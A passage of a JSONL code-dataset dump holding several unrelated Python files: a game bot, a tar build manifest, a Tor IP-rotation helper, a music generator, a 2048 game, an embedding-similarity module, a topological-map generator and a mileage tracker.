self.pressCloseEndIfEndedFrame()\n\n    def pressCloseEndIfEndedFrame(self):\n        logging.log(logging.DEBUG - 5, \"pressCoseEndIfEndedFrame Check\")\n        state = self.screen_connector.getFrameState()\n        logging.debug(\"state: %s\" % state)\n        if state == 'endgame':\n            self.changeEndStatus(self.endStatus + 5)  # Won Game\n            self.runStatiscticsSave()\n            logging.info(\"Exit_Endgame_2. You Won!\")\n            self.pressCloseEndgame()\n\n    def pressCloseEndgame(self):\n        logging.log(logging.DEBUG - 5, \"Press_Close_End. Going back to main Menu\")\n        self.tap('close_end')\n        self.currentLevel = 0\n        self.wait(8)  # wait for go back to main menu\n\n    def altEndgameClose(self):\n        self.runStatiscticsSave()\n        state = self.screen_connector.getFrameState()\n        logging.info(\"Alt state: %s\" % state)\n        self.log(\"You died or won!\")\n        self.log(\"Either way, it's over!\")\n        self.pressCloseEndgame()\n        raise Exception('altendgame')\n\n    def exitEngine(self):\n        self.changeEndStatus(self.endStatus + 6)  # Exit-Engine\n        self.runStatiscticsSave()\n        logging.info(\"Game Engine Closed\")\n        exit(1)\n","repo_name":"fabian57fabian/archero_bot_57","sub_path":"src/CaveDungeonEngine.py","file_name":"CaveDungeonEngine.py","file_ext":"py","file_size_in_byte":70187,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"16"}
+{"seq_id":"6977615309","text":"#!/usr/bin/env python3.6\n# -*- coding: utf-8 -*-\n\nimport os\nimport stdlib\nfrom stdlib.split.drain_all import drain_all_with_doc\nfrom stdlib.template.make import make\nfrom stdlib.template import autotools\nfrom stdlib.manifest import manifest\n\n\ndef install_tar():\n    make('install', f'DESTDIR={stdlib.build.current_build().install_cache}'),\n    make('install-html', f'docdir=/usr/share/doc/tar/', folder='doc')\n\n\n@manifest(\n    name='tar',\n    category='sys-apps',\n    description='''\n    An archiving program.\n    ''',\n    tags=['gnu', 'tarball', 'archive'],\n    maintainer='grange_c@raven-os.org',\n    licenses=[stdlib.license.License.GPL_V3],\n    upstream_url='http://www.gnu.org/software/tar/',\n    kind=stdlib.kind.Kind.EFFECTIVE,\n    versions_data=[\n        {\n            'semver': '1.32.0',\n            'fetch': [{\n                    'url': 'http://ftp.gnu.org/gnu/tar/tar-1.32.tar.xz',\n                    'sha256': 'd0d3ae07f103323be809bc3eac0dcc386d52c5262499fe05511ac4788af1fdd8',\n                },\n            ],\n        },\n    ],\n)\ndef build(build):\n    os.environ['FORCE_UNSAFE_CONFIGURE'] = '1'\n\n    packages = autotools.build(\n        install=install_tar,\n        split=drain_all_with_doc,\n    )\n\n    packages['sys-apps/tar-doc'].move('usr/share/doc/tar/tar.html/*', 'usr/share/doc/tar/')\n\n    # Packages member of `raven-os/essentials` should explicitly state all\n    # of their dependencies, including indirect ones.\n    packages['sys-apps/tar'].requires('raven-os/corefs')\n\n    return packages\n","repo_name":"raven-os/nbuild-manifests","sub_path":"sys-apps/tar.py","file_name":"tar.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"7532016143","text":"import requests\nfrom stem.control import Controller\nfrom stem import Signal\n\n\ndef get_tor_session():\n    session = requests.Session()\n    session.proxies = {\"http\": \"socks5://localhost:9050\",\n                       \"https\": \"socks5://localhost:9050\"}\n    return session\n\n\ndef renew_connection():\n    with Controller.from_port(port=9051) as c:\n        c.authenticate()\n        c.signal(Signal.NEWNYM)\n\n\nif __name__ == \"__main__\":\n    s = get_tor_session()\n    ip = s.get(\"http://icanhazip.com\").text\n    print(\"IP:\", ip)\n    renew_connection()\n    s = get_tor_session()\n    ip = s.get(\"http://icanhazip.com\").text\n    print(\"IP:\", ip)\n","repo_name":"or-yanko/Security-Projects","sub_path":"Defensiving/vpn-using-proxies/multiple_tor_proxies.py","file_name":"multiple_tor_proxies.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"31758102535","text":"import numpy as np\r\n\r\nfrom .midi import matrix_to_midi\r\n\r\n###############################################################################\r\n\r\nclass PinkNoise:\r\n    def __init__(self, num_notes=100):\r\n        self.n = num_notes\r\n        frequencies = [261.63]\r\n        for i in range(35):\r\n            frequencies.append(frequencies[-1]*1.06)\r\n        probabilities = [1/f for f in frequencies]\r\n        sump = sum(probabilities)\r\n        self.prob = [p/sump for p in probabilities]\r\n        self.notes = list(range(48,84))\r\n    \r\n    def generate_melody(self):\r\n        notes = []\r\n        for _ in range(self.n):\r\n            note = np.random.choice(self.notes, p=self.prob)\r\n            row = np.zeros(128,)\r\n            row[note] = 1\r\n            notes.append(row)\r\n        notes = np.vstack(notes)\r\n        return notes\r\n    \r\n    def output_midi(self, notes, output_path):\r\n        matrix_to_midi(matrix=notes, out_midi_path=output_path)\r\n    \r\n    def get_sample_music(self, output_path):\r\n        notes = self.generate_melody()\r\n        self.output_midi(notes=notes, output_path=output_path)\r\n\r\n###############################################################################","repo_name":"akashmjn/cs221-iMGM","sub_path":"src/pink_noise.py","file_name":"pink_noise.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22522694815","text":"import random\nimport sys\nimport termios\nimport tty\n\nDIR_LEFT = 0\nDIR_RIGHT = 1\nDIR_UP = 2\nDIR_DOWN = 3\n\nxs = ys = 4\n\nfrom rp import *\ndef board_index(x, y):\n    return (y * ys) + x\n\ndef print_board(board):\n    for y in range(ys):\n        print('+----' * xs + '+')\n        for x in range(xs):\n            val = board[board_index(x, y)]\n            if val:\n                cell = '% 4d' % val\n                color='gray'\n                colors={1:'red',2:'magenta',4:'cyan',8:'yellow',16:'blue',32:'gray',64:'green',128:'red',256:'magenta',512:'cyan',1024:'magenta',2048:'yellow'}\n                if val in colors:\n                    color=colors[val]\n                cell=fansi(cell,color,'bold')\n            else:\n                cell = '    '\n            print('|' + cell , end='')\n        print('|')\n    print('+----' * xs + '+')\n\ndef add_piece(board):\n    empty_positions = [i for i, val in enumerate(board) if val == 0]\n    insert_pos = random.randint(0, len(empty_positions) - 1)\n    board[empty_positions[insert_pos]] = 1\n    return board\n\ndef getch():\n    fd = sys.stdin.fileno()\n    orig_termios_attr = termios.tcgetattr(fd)\n    try:\n        tty.setraw(sys.stdin.fileno())\n        ch = sys.stdin.read(1)\n    finally:\n        termios.tcsetattr(fd, termios.TCSADRAIN, orig_termios_attr)\n    return ch\n\nrows_l2r_t2b = [[board_index(x, y) for x in range(xs)] for y in range(ys)]\nrows_r2l_t2b = [[board_index(xs - x - 1, y) for x in range(xs)] for y in range(ys)]\n\ncols_t2b_l2r = [[board_index(x, y) for y in range(ys)] for x in range(xs)]\ncols_b2t_l2r = [[board_index(x, ys - y - 1) for y in range(ys)] for x in range(xs)]\n\npos_lists_of_move = {\n    DIR_LEFT:  rows_l2r_t2b,\n    DIR_RIGHT: rows_r2l_t2b,\n    DIR_UP:    cols_t2b_l2r,\n    DIR_DOWN:  cols_b2t_l2r,\n}\n\ndef apply_move(board, move):\n    pos_lists = pos_lists_of_move[move]\n    score_delta = 0\n    for pos_list in pos_lists:\n        dst = 0\n        for src in range(len(pos_list)):\n            if board[pos_list[src]]:\n                board[pos_list[dst]] = board[pos_list[src]]\n                dst += 1\n        for i in range(dst, len(pos_list)):\n            board[pos_list[i]] = 0\n        for i in range(len(pos_list[:-1])):\n            if board[pos_list[i]] == board[pos_list[i + 1]]:\n                board[pos_list[i]] += board[pos_list[i + 1]]\n                score_delta += board[pos_list[i]]\n                for j in range(i + 1, len(pos_list) - 1):\n                    board[pos_list[j]] = board[pos_list[j + 1]]\n                board[pos_list[-1]] = 0\n    return board, score_delta\n\nmove_dir_map = {\n    'h': DIR_LEFT,\n    'j': DIR_DOWN,\n    'k': DIR_UP,\n    'l': DIR_RIGHT,\n}\n\ndef get_apply_move(board):\n    while True:\n        print('Move: ', end='')\n        sys.stdout.flush()\n        ch = getch().lower()\n        wasd={'a':'h','w':'k','s':'j','d':'l'}\n        if ch in wasd:\n            ch=wasd[ch]#turn wasd into vim keys\n        print(ch)\n        if ch == 'q':\n            quit()\n        if ch == 'p':\n            print_board(board)\n            continue\n        if ch not in move_dir_map:\n            print('Unknown keypress. Keys: movement:w/a/s/d/ or h/j/k/l , print: p, quit: q')\n            continue\n        move = move_dir_map[ch]\n        new_board, score_delta = apply_move(board.copy(), move)\n        if new_board == board:\n            print('Illegal move')\n            continue\n        break\n    print()\n    return add_piece(new_board), score_delta\n\nboard = [0] * (ys * xs)\nboard = add_piece(board)\nscore = 0\n\ndetect_2048 = True\ndef quit():\n    print('Quitting')\n    high_score=0\n    filename='.rp.2048.highscore'\n    try:high_score=int(text_file_to_string(filename))\n    except:pass\n    message='Quit 2048: Your score was '+str(score)+'. The previous high score was '+str(high_score)\n    high_score=max(high_score,score)\n    try:string_to_text_file(filename,str(high_score))\n    except:pass\n    assert False,message\n    #sys.exit(0)\n\nwhile True:\n    print_board(board)\n    print('Score:', score)\n    if detect_2048 and 2048 in board:\n        while True:\n            print('You win; Continue/Quit? ', end='')\n            sys.stdout.flush()\n            ch = getch().lower()\n            print(ch)\n            if ch == 'q':\n                quit()\n            if ch == 'c':\n                print('Continuing')\n                detect_2048 = False\n                break\n            print('Unknown option (c/q)')\n    moves_left = False\n    for move in (DIR_LEFT, DIR_RIGHT, DIR_UP, DIR_DOWN):\n        new_board = apply_move(board.copy(), move)\n        if new_board != board:\n            moves_left = True\n            break\n    if not moves_left:\n        print('You lose!')\n        sys.exit(0)\n    board, score_delta = get_apply_move(board)\n    score += score_delta","repo_name":"RyannDaGreat/rp","sub_path":"py2048.py","file_name":"py2048.py","file_ext":"py","file_size_in_byte":4746,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"40591225844","text":"import utilities.Filenames as F\nimport sqlite3\nimport utilities.MyUtils as MyUtils\nimport logging\nimport numpy as np\nimport scipy.spatial.distance as S_distance\nimport matplotlib.pyplot as plt\nimport gensim.models.doc2vec as D2V\nfrom gc import collect\nimport os.path\n\nimport utilities.MyUtils_dbs\nimport utilities.MyUtils_strings\n\nNUM_EXAMPLE_PRODUCTS = 4000\nNUM_EXAMPLE_QUESTIONS = 4000\n\n### Utility wrappers: use the conversion functions from string to array, with the addition of an exception wrapper.\n### num_levels_ls = 1 if we are extracting single vectors (eg.descvec); =2 if dealing with a lls (eg. kwsVectors)\ndef extract_features_arrays(num_levels_ls, arraystrings_ls):\n    arrays = []\n    for s in arraystrings_ls:\n        try:\n            if num_levels_ls == 1:\n                arrays.append(utilities.MyUtils_strings.fromstring_toarray(s))\n            if num_levels_ls == 2:\n                arrays.append(utilities.MyUtils_strings.fromlls_toarrays(s))\n        except Exception as e:\n            logging.debug(\"Could not convert string %s to array. The selected product does not have that feature\", s)\n    return arrays\n\n##### Get the random indices, through which we select elements (products or questions) from the tables in the DBs\ndef get_random_indices(db_cursor, n_elements):\n    db_cursor.execute(\"SELECT name FROM sqlite_master WHERE type='table'\")\n    tables = db_cursor.fetchall()\n    t_cardinality = db_cursor.execute(\"SELECT count(*) FROM {t}\".format(t=tables[0][0])).fetchone()[0]\n    logging.info(\"Cardinality of a table in the representations' database: %s\", t_cardinality)\n\n    num_products_picked_per_table = min(n_elements // len(tables) + 1, t_cardinality)\n    logging.info(\"Number of elements picked in each table: %s ; number of tables:%s\", num_products_picked_per_table,\n                 len(tables))\n    random_indices = np.random.choice(range(1, t_cardinality + 1), size=num_products_picked_per_table, replace=False)\n    return random_indices\n\n##### Extract the product vectors that we wish to compare using cosine similarity\ndef get_products_vectors(p_featurename, n_products, selected_pf_strings, doc2vec_model):\n\n    if p_featurename.lower() == \"descvec\" or p_featurename.lower() == \"titlevec\":\n        p_fs = extract_features_arrays(1, selected_pf_strings)[0:n_products] # Also applies the n_products specification\n\n    if p_featurename.lower() == \"kwsvectors\":\n        p_fs = list(filter ( lambda lls : len(lls) > 0, extract_features_arrays(2, selected_pf_strings) ) )\n        #logging.info(np.array(p_fs).shape)\n        #logging.info(p_fs[0:10])\n        p_fs = p_fs[0:n_products] # Also applies the n_products specification\n\n    if p_featurename.lower() == \"mdcategories\":\n        p_fs_0 = [utilities.MyUtils_strings.fromstring_toarray(product_categoriesls, whitespaces_to_commas=False)\n                  for product_categoriesls in selected_pf_strings]\n        #logging.info(\"p_fs_0:%s\", p_fs_0)\n        p_fs_1 = utilities.MyUtils_strings.categories_to_vecs_lls(p_fs_0, doc2vec_model)\n        #logging.info(\"p_fs_1:%s\", p_fs_1)\n        p_fs = list(filter(lambda lls: len(lls) > 0, p_fs_1))\n        p_fs = p_fs[0:n_products]\n\n    #logging.info(\"p_fs[0] : %s\", p_fs[0])\n    logging.info(\"Number of product vectors extracted: %s\", len(p_fs))\n    return p_fs\n\n### Extract the product vectors that we wish to compare using cosine similarity\ndef get_questions_vectors(q_featurename, n_questions, selected_qf_strings):\n    if q_featurename.lower() == \"questionvec\":\n        q_fs = extract_features_arrays(1, selected_qf_strings)[0:n_questions]\n\n    if q_featurename.lower() == \"kwsvectors\":\n        q_fs = list(filter ( lambda lls : len(lls) > 0, extract_features_arrays(2, selected_qf_strings) ) )\n        q_fs = q_fs [0:n_questions]\n\n    logging.info(\"q_fs[0] : %s\", q_fs[0])\n    logging.info(\"Number of question vectors extracted: %s\", len(q_fs))\n    return q_fs\n\n\n##### Once we have extracted the Doc2Vec vectors from the selected features for products and questions,\n##### we compute a matrix of cosine similarities\ndef compute_matrix_cosinesims(ps_vectors, qs_vectors):\n    #choice for the kwsVectors lls: either average, or unpack. Currently: average\n    elements_vectorlists_0 = [ps_vectors, qs_vectors]\n    elements_vectorlists = []\n    for structure in elements_vectorlists_0:\n        new_structure = []\n        for elem_vector in structure:\n            if len(np.array(elem_vector).shape) >= 2:\n                avg_elem_vector = np.average(elem_vector, axis=0)\n                new_structure.append(avg_elem_vector)\n            else:\n                new_structure.append(elem_vector)\n        elements_vectorlists.append(new_structure)\n    ps_vectors, qs_vectors = elements_vectorlists\n\n    M = np.zeros(shape=(len(ps_vectors), len(qs_vectors)))\n    i = 0; j = 0;\n    for p_vec in ps_vectors:\n        for q_vec in qs_vectors:\n            cosine_sim = 1 - S_distance.cosine(p_vec, q_vec)\n            M[i][j] = cosine_sim\n            j = j+1\n        i = i+1\n        j = 0\n\n    return M\n\n\n##### Once we have the matrix M of cosine similarities, we compute a breakpoint for the given fraction (50%, 90%, etc)\ndef compute_breakpoint(matrix, fraction):\n    flattened_matrix = matrix.flatten()\n    values_sorted = sorted(flattened_matrix)\n    threshold_index = int(fraction * len(values_sorted))\n    sim_breakpoint = values_sorted[threshold_index]\n    logging.info(\"At the fraction of: %s, the cosine similarity breakpoint is: %s\", fraction, sim_breakpoint)\n\n    return sim_breakpoint\n\n##### Graphics\ndef show_graphic_cosinesim(M, p_featurename, q_featurename, breakpoint_x, fraction):\n    plt.figure()\n    plt.hist(M.flatten(), bins=400, range=(-1, 1))\n    plt.title('Cosine similarity: products: {s1} - questions: {s2} | bp @ {s3}'.format(\n                s1=p_featurename, s2=q_featurename,  s3=round(fraction,3)), )\n    plt.grid(True)\n    plt.axvline(x=breakpoint_x, color='maroon')\n    plt.savefig(os.path.join(\"OnlineLearning\", \"CosineSimilarity\", 'P_{s1}_Q_{s2}_{s3}.png'.format(\n                s1=p_featurename, s2=q_featurename,  s3=round(fraction,3))) )\n    plt.close()\n\n##### Update database of similarity breakpoints\ndef update_breakpoints_db(breakpoint,p_featurename, q_featurename, n_products, n_questions, fraction):\n    out_db = sqlite3.connect(F.COSINE_SIM_THRESHOLDS_DB)\n    out_c = out_db.cursor()\n\n    row_count = out_c.execute('''SELECT COUNT(*) from breakpoints \n                                 WHERE p_featurename = ?\n                                     AND q_featurename = ?\n                                     AND num_ps = ?\n                                     AND num_qs = ? \n                                     AND threshold = ?''', (p_featurename, q_featurename,\n                                                n_products, n_questions, fraction)).fetchone()[0]\n    if row_count > 0:\n        logging.info(\"Row count > 0; updating values\")\n        out_c.execute(''' UPDATE breakpoints\n                            SET breakpoint = ?\n                            WHERE p_featurename = ?\n                             AND q_featurename = ?\n                             AND num_ps = ?\n                             AND num_qs = ? \n                             AND threshold = ?''', (breakpoint, p_featurename, q_featurename,\n                                                    n_products, n_questions, fraction))\n    else:\n        logging.info(\"Row count = 0; inserting values\")\n        out_c.execute(''' INSERT INTO breakpoints VALUES (?,?,?,?,?,?);''',\n                      (breakpoint, p_featurename, q_featurename, n_products, n_questions, fraction))\n    out_db.commit()\n\n\n\n### Main function of the module\n### id, price, titlevec, descvec, mdcatagories, kwsVectors; id, questionType, questionVec, kwsVectors\ndef explore_cosine_similarity(n_products=100, n_questions=100, p_featurename=\"descvec\", q_featurename=\"questionVec\", fraction=0.75):\n    MyUtils.init_logging(\"CosineSimilarity.log\")\n    logging.info(\"Computing a cosine similarity breakpoint at fraction %s, between P:%s and Q:%s ...\",\n                 fraction, p_featurename, q_featurename)\n\n    prods_representations_db = sqlite3.connect(F.PRODUCTS_FINAL_TRAIN_DB)\n    ps_c = prods_representations_db.cursor()\n\n    quests_representations_db = sqlite3.connect(F.QUESTIONS_FINAL_TRAIN_DB)\n    qs_c = quests_representations_db.cursor()\n\n    ###### Get Doc2Vec vectors from the randomly selected products\n    random_indices = get_random_indices(ps_c, n_products)\n    random_indices_querystring = str(tuple(random_indices)) if len(random_indices) > 1 \\\n        else \"(\" + str(random_indices[0]) + \")\"\n    selected_pf_strings_ts = utilities.MyUtils_dbs.search_in_alltables_db(ps_c, \"SELECT \" + str(p_featurename) + \" FROM\",\n                                                            \"WHERE rowid IN \" + random_indices_querystring)\n    # Unpacking the tuples (each tuple is simply a container for one feature).\n    selected_pf_strings = list(map(lambda t: t[0], selected_pf_strings_ts))\n\n    d2v_model = D2V.Doc2Vec.load(F.D2V_MODEL) #it is loaded to obtain the vectors for the mdcategories\n    ps_vectors = get_products_vectors(p_featurename, n_products, selected_pf_strings, d2v_model)\n    del d2v_model\n    collect()\n    ######\n    ###### Get Doc2Vec vectors from the randomly selected questions\n    random_indices = get_random_indices(qs_c, n_questions)\n    random_indices_querystring = str(tuple(random_indices)) if len(random_indices) > 1 \\\n        else \"(\" + str(random_indices[0]) + \")\"\n    selected_qf_strings_ts = utilities.MyUtils_dbs.search_in_alltables_db(qs_c, \"SELECT \" + str(q_featurename) + \" FROM\",\n                                                            \"WHERE rowid IN \" + random_indices_querystring)\n\n    selected_qf_strings = list(map(lambda t: t[0], selected_qf_strings_ts))\n    qs_vectors = get_questions_vectors(q_featurename, n_questions, selected_qf_strings)\n    ######\n\n    M = compute_matrix_cosinesims(ps_vectors,qs_vectors)\n\n    breakpoint = compute_breakpoint(M, fraction)\n\n    show_graphic_cosinesim(M, p_featurename, q_featurename, breakpoint, fraction)\n\n    update_breakpoints_db(breakpoint, p_featurename, q_featurename, n_products, n_questions, fraction)\n    return breakpoint\n\n\n\n\ndef initialize_cosinesims_db():\n    f = open(F.COSINE_SIM_THRESHOLDS_DB, 'w'); f.close()\n\n    db = sqlite3.connect(F.COSINE_SIM_THRESHOLDS_DB)\n    c = db.cursor()\n    c.execute(''' CREATE TABLE breakpoints (breakpoint float,\n                                            p_featurename varchar(127),\n                                            q_featurename varchar(127),\n                                            num_ps int,\n                                            num_qs int,\n                                            threshold float\n                                            ) ''')\n    db.commit()\n\n\n\ndef get_similarity_breakpoint(p_featurename, q_featurename, fraction):\n    #MyUtils.init_logging(\"OnlineLearning-get_similarity_breakpoint.log\")\n    db = sqlite3.connect(F.COSINE_SIM_THRESHOLDS_DB)\n    c = db.cursor()\n    lts = c.execute('''SELECT breakpoint, num_ps, num_qs, threshold FROM breakpoints\n                        WHERE p_featurename = ? AND q_featurename = ?\n                        AND ABS(threshold - ?) < 0.0001''',\n                    (p_featurename,q_featurename, fraction)).fetchall()\n\n    num_bps_already_computed = len(lts)\n    logging.info(\"number of breakpoints computed in the past:%s\", num_bps_already_computed)\n\n    if num_bps_already_computed > 0:\n        lts_sorted = sorted(lts, key=lambda tpl: tpl[1]*tpl[2], reverse=True)\n        logging.debug(\"Breakpoints, sorted by number of examples:%s\", lts_sorted)\n        if lts_sorted[0][1] * lts_sorted[0][2] < NUM_EXAMPLE_PRODUCTS * NUM_EXAMPLE_QUESTIONS:\n            logging.info(\"A value was found for the estimated breakpoint, but it was created with fewer example \"+\n                         \"products and questions. Creating new breakpoint...\")\n            bp = explore_cosine_similarity(n_products=NUM_EXAMPLE_PRODUCTS, n_questions=NUM_EXAMPLE_QUESTIONS,\n                                           p_featurename=p_featurename, q_featurename=q_featurename,\n                                           fraction=fraction)\n        else:\n            bp = lts_sorted[0][0] #pick what was already computed\n    else:\n        bp = explore_cosine_similarity(n_products=NUM_EXAMPLE_PRODUCTS, n_questions=NUM_EXAMPLE_QUESTIONS,\n                                  p_featurename=p_featurename, q_featurename=q_featurename,\n                                  fraction=fraction)\n\n    logging.info(\"Cosine similarity breakpoint found for the features %s and %s: %s\\n\",\n                 p_featurename, q_featurename, round(bp, 4))\n    return bp\n","repo_name":"AndreaLK3/LAQP_code_final","sub_path":"OnlineLearning/CosineSim.py","file_name":"CosineSim.py","file_ext":"py","file_size_in_byte":12760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14082709709","text":"from cubefield_screen import get_img, get_img2\nfrom cubefield_getkeys import key_check, LEFT, RIGHT, CTRL, Q, S\nfrom cubefield_inputkeys import PressKey, ReleaseKey\nimport time\nimport os\nimport cv2\nimport numpy as np\nfrom cubefield_alexnet import alexnet\n\nEPOCHS  = 8\nWIDTH   = 80\nHEIGHT  = 60\nLR      = 1e-3\n\nMODEL_NAME = 'cubefield_ai-{}-{}-{}-{}.model'.format(LR, 'alexnet', EPOCHS)\n\nt_time = 0.09\n\ndef forward():\n    ReleaseKey(LEFT)\n    ReleaseKey(RIGHT)\n\ndef left():\n    PressKey(LEFT)\n    ReleaseKey(RIGHT)\n    time.sleep(t_time)\n    ReleaseKey(LEFT)\n\ndef right():\n    PressKey(RIGHT)\n    ReleaseKey(LEFT)\n    time.sleep(t_time)\n    ReleaseKey(RIGHT)\n\nmodel = alexnet(WIDTH, HEIGHT, LR)\nmodel.load(MODEL_NAME)\n\ndef main():\n    for i in list(range(4))[::-1]:\n        print(i+1)\n        time.sleep(1)\n\n    paused = False\n\n    last_time = time.time()\n    loops = 0\n    sum_time = 0\n    while(True):\n            _, o_img = get_img2()\n\n\n            if not paused:\n                nn_image = cv2.resize(o_img, (80, 60))\n                nn_image = cv2.cvtColor(nn_image, cv2.COLOR_BGR2GRAY)\n\n                prediction = model.predict([nn_image.reshape(WIDTH,HEIGHT,1)])[0]\n                moves = list(np.around(prediction))\n                print(moves, prediction)\n\n                if moves == [1, 0]:\n                    left()\n                elif moves == [0, 1]:\n                    right()\n                elif moves == [0, 0]:\n                    forward()\n\n                \n            keys = key_check()\n\n            # Suspend\n            if CTRL in keys and S in keys:\n                if not paused:\n                    paused = True\n                    print(\"Suspended.\")\n                    time.sleep(1)\n                else:\n                    paused = False\n                    print(\"Resumed.\")\n                    ReleaseKey(LEFT)\n                    ReleaseKey(RIGHT)\n                    time.sleep(1)\n            \n            # Save and quit\n            if CTRL in keys and Q in keys:\n                print(\"Quitting\")\n                ReleaseKey(LEFT)\n                ReleaseKey(RIGHT)\n                time.sleep(1)\n                break\n\n            # FPS Calculations\n            sum_time += time.time() - last_time\n            last_time = time.time()\n\n            if loops % 100 == 0:\n                print('FPS avg is {} seconds'.format(1/(sum_time/100)))\n                sum_time = 0\n                loops = 0\n            loops += 1\n    \nmain()\n","repo_name":"alexz003/CubeField-AI","sub_path":"cubefield_testmodel.py","file_name":"cubefield_testmodel.py","file_ext":"py","file_size_in_byte":2472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19007698902","text":"import os\nimport sys\nimport json\nimport yaml\nimport argparse\n\nscript_dir = os.path.dirname( __file__ )\nmodules_dir = os.path.join( script_dir, '../modules' )\nmodules_dir = os.path.normpath(modules_dir)\nsys.path.append(modules_dir)\nimport aerial_topomapping as at\n\n\nparser = argparse.ArgumentParser(description='Transform the file with the nodes in map coordinates to a topomap that can be used by the topological_navigation package')\nparser.add_argument(\"--nodes_map_coord_filename\", type=str,help=\"Toponodes map coordinates filename\",required=True)\nparser.add_argument(\"--output_tmap_name\", type=str,help=\"Name of the outpul file\",required=True)\nargs = parser.parse_args()\n\n\n#read the toponodes file\nwith open(args.nodes_map_coord_filename, 'r') as f:\n\tnodes_map_coord = json.load(f)\n\n#load node and edges templates\nwith open(\"./template_yaml_structure/template_toponode.yaml\", 'r') as f:\n\ttemplate_toponode = yaml.safe_load(f)\n\nwith open(\"./template_yaml_structure/template_topoedge.yaml\", 'r') as f:\n\ttemplate_topoedge = yaml.safe_load(f)\n\ntopomap = at.generate_topological_map(nodes_map_coord,args.output_tmap_name,template_toponode,template_topoedge)\n\npath = \"\"\nfor p in args.nodes_map_coord_filename.split(\"/\")[:-1]:\n\tpath = path + p + \"/\"\nwith open(path+args.output_tmap_name+\".tmap2\",'w') as f:\n\tyaml.dump(topomap, f)\n","repo_name":"gpdas/aerial_topomapping","sub_path":"scripts/generate_topomap.py","file_name":"generate_topomap.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"42964238939","text":"from datetime import datetime\nfrom os import system as sys\n\nCARD_VALUE = 25\nMILES_TO_CARD = 10 * CARD_VALUE\n\n\ndef valid_date(date):\n    return len(date) == 5 and date[2] == '/' and (date[:2] + date[3:]).isdigit() and int(date[:2]) > 0 and int(date[:2]) <= 12 and int(date[3:]) > 0 and int(date[3:]) <= 31\n\n\ndef get_date():\n    print(\"enter the date in the format mm/dd (or q to quit)\")\n    while True:\n        date = input('>>> ').strip()\n        if date == 'q':\n            exit()\n        elif valid_date(date):\n            return date\n        print('invalid!')\n\n\ndef get_miles():\n    print(\"enter the round trip miles for the date (or q to quit)\")\n    while True:\n        miles = input('>>> ').strip()\n        if miles == 'q':\n            exit()\n        elif miles.isdigit():\n            return int(miles)\n\n\ndef calc_mileage(filename):\n    with open(filename, 'r') as file:\n        file.readline()\n        lines = file.readlines()\n    if lines:\n        miles = lines[-1].split(',')[-1].strip()\n        if miles.isdigit():\n            return int(miles)\n    return 0\n\n\ndef append_line_to_file(filename, new_line):\n    with open(filename, 'a') as file:\n        file.write(new_line)\n\n\ndef check_redeem_info():\n    print('redeem gas card? [y/n]')\n    while True:\n        choice = input('>>> ').strip().lower()\n        if choice == 'y':\n            return True\n        elif choice == 'n':\n            return False\n        else:\n            print('invalid!')\n\n\ndef make_payment_line(gas_cards_due, new_total):\n    payment = gas_cards_due * CARD_VALUE\n    new_mileage = new_total - (gas_cards_due * MILES_TO_CARD)\n    date = datetime.now().strftime('%m/%d')\n    return '{}, paid ${}, {}\\n'.format(date, payment, new_mileage)\n\n\ndef main():\n    sys('clear')\n    filename = 'mileage_tracker.txt'\n    print('welcome to the mileage tracker')\n    date = get_date()\n    miles = get_miles()\n    current_total = calc_mileage(filename)\n    new_total = miles + current_total\n\n    new_line = '{}, {}, {}\\n'.format(date, miles, new_total)\n    append_line_to_file(filename, new_line)\n\n    gas_cards_due = new_total // MILES_TO_CARD\n    if gas_cards_due > 0:\n        print('you are eligible for {} gas cards.'.format(gas_cards_due))\n        if check_redeem_info():\n            payment_line = make_payment_line(gas_cards_due, new_total)\n            append_line_to_file(filename, payment_line)\n            print('mileage tracker updated')\n        else:\n            print('thank you have a nice day!')\n    else:\n        print('you have {} miles until your next card'.format(\n            MILES_TO_CARD - new_total))\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"seanthony/gas_card_tracker","sub_path":"core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":2631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34032287524","text":"'''\r\nCopyright 2023 (c) WizIO ( Georgi Angelov )\r\n\r\nRedistribution and use in source and binary forms, with or without modification, are permitted provided that the\r\nfollowing conditions are met:\r\n\r\n1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following\r\n   disclaimer.\r\n\r\n2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following\r\n   disclaimer in the documentation and/or other materials provided with the distribution.\r\n\r\n3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products\r\n   derived from this software without specific prior written permission.\r\n\r\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\r\nINCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\r\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\r\nSPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\r\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\r\nWHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\r\nTHIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 